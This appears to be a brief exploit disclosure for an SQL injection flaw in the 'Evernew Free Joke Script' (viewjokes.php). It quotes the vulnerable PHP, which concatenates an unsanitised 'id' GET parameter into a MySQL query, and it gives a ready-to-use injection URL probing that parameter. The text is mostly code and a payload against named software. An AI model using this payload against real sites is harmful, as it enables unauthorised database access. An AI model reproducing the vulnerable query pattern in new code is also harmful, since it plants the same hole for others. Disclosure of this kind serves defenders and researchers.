Evernew Free Joke Script – ‘viewjokes.php’ SQL Injection
/* Name : Evernew Free Joke Script (viewjokes.php) SQL Injection WebSite : www.evernewscripts.com Author : Hamza 'MizoZ' N. Email : mizozx@gmail.com Greetz : Zuka , int_0x80 , geeksec.com ... a loot */ # VULN CODE ]--[ viewjokes.php : $id=$HTTP_GET_VARS['id']; $title=$HTTP_GET_VARS['title']; stuffViewer($id, 'jokes'); $query="select * from jokes where id=$id"; $allresults=mysql_query($query); $viewjokes=mysql_fetch_array($allresults); # EXPLOIT : http://[THINGS ...]/viewjokes.php?id=5+and+(select 1)=1-- |